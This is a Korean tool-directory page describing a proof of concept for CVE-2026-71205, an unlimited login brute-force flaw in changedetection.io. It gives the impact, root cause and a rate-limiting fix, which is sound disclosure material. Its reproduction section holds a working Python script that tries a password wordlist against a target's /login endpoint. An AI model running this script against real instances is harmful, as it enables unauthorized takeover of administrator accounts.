Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-71205-PoC — PoC: changedetection.io 무제한 로그인 무차별 대입 공격, 속도 제한 없음 (CVE-2026-71205, Medium 6.5) | Kitploit
도구/GitHubGitHub/nel-droid/cve-2026-71205-poc
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHubnel-droid/cve-2026-71205-poc

CVE-2026-71205-PoC

PoC: changedetection.io 무제한 로그인 무차별 대입 공격, 속도 제한 없음 (CVE-2026-71205, Medium 6.5)

저장소 보기
624일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-71205 — changedetection.io: /login 속도 제한 부재로 무제한 비밀번호 무차별 대입 가능

제품: dgtlmoon/changedetection.io — v0.55.7 파일: changedetectionio/flask_app.py CWE: CWE-307 — 과도한 인증 시도에 대한 부적절한 제한 CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 (중간) CNA: Turan Security · CVE 기록

설명

changedetection.io의 /login 라우트는 제출된 비밀번호를 단일 PBKDF2-HMAC-SHA256 해시와 대조하며, IP별 또는 세션별 속도 제한, 실패 횟수 카운터 또는 잠금(lockout)이 없습니다. requirements.txt에는 속도 제한 라이브러리가 포함되어 있지 않습니다.

영향

공격자는 스로틀링 없이 단일 관리자 로그인에 대해 무제한의 비밀번호 추측을 시도할 수 있으며, 이는 네트워크 왕복 비용 외에는 추가 비용 없이 인스턴스의 유일한 계정을 대상으로 한 온라인 무차별 대입 또는 자격 증명 스터핑 공격을 가능하게 합니다.

재현 (PoC)

root@kitploit:~
import requests
import itertools
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"

session = requests.Session()

with open(wordlist) as f:
    for line_no, password in enumerate(f, 1):
        password = password.strip()
        resp = session.post(
            f"{target}/login",
            data={"password": password},
            allow_redirects=False,
            timeout=10,
        )
        # No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
        status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
        print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
        if status == "SUCCESS":
            print(f"[+] Valid password found: {password}")
            break

임의의 비밀번호 워드리스트로 인스턴스에 대해 실행하십시오 — 실행 중 어떤 시도 횟수에서도 잠금, CAPTCHA 또는 지연 증가가 발생하지 않습니다.

근본 원인

로그인 핸들러는 시도 추적 상태(IP별, 세션별 또는 전역) 없이 직접 해시 비교를 수행하며, 속도 제한 미들웨어/라이브러리가 설치되어 있지 않습니다.

수정 권장 사항

/login에 속도 제한 라이브러리(예: Flask-Limiter)를 추가하고, 실패 횟수 카운터와 소스 IP/세션별 지수 백오프 또는 임시 잠금을 구현하십시오.

도구 다운로드